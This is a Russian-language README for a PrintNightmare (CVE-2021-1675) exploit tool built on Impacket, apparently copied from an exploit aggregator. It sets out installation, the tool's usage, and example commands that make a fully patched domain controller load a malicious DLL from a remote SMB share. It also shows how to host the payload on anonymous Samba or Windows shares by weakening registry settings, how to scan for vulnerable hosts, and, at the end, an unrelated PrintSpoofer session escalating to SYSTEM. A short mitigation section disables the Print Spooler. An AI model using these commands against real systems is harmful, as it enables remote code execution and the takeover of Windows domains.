## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PUCKIESTYLE-CVE-2021-1675
# CVE-2021-1675
Реализация Impacket для PoC PrintNightmare, изначально созданного Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Протестировано на полностью пропатченном контроллере домена 2019
Выполнение вредоносных DLL удалённо или локально

### Установка
Перед запуском эксплойта необходимо установить мою версию Impacket, после этого всё работает
root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
### CVE-2021-1675.py
root@kitploit:~
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
Реализация CVE-2021-1675.
позиционные аргументы:
target [[domain/]username[:password]@]<targetName or address>
share Путь к DLL. Пример '\\10.10.10.10\share\evil.dll'
необязательные аргументы:
-h, --help показать это справочное сообщение и выйти
аутентификация:
-hashes LMHASH:NTHASH
NTLM хэши, формат: LMHASH:NTHASH
подключение:
-target-ip ip address
IP-адрес целевой машины. Если опущен, будет использовано то, что указано как target. Это полезно, когда target является NetBIOS-именем
и вы не можете его разрешить
-port [destination port]
Порт назначения для подключения к SMB-серверу
Пример;
./CVE-2021-1675.py hackit.local/domain_user:some-email@example.com '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:some-email@example.com 'C:\addCube.dll'
### Настройка SMB
Самый простой способ разместить полезные нагрузки — использовать samba и изменить `/etc/samba/smb.conf ` для разрешения анонимного доступа
root@kitploit:~
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
С Windows это также возможно
root@kitploit:~
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
### Сканирование
Мы можем использовать `rpcdump.py` из impacket для сканирования уязвимых хостов; если он возвращает значение, то хост уязвим
root@kitploit:~
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
### Смягчение
Отключение службы диспетчера печати (Spooler)
root@kitploit:~
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f
Или удаление служб печати
root@kitploit:~
Uninstall-WindowsFeature Print-Services
Старый способ: c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c cmd PrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>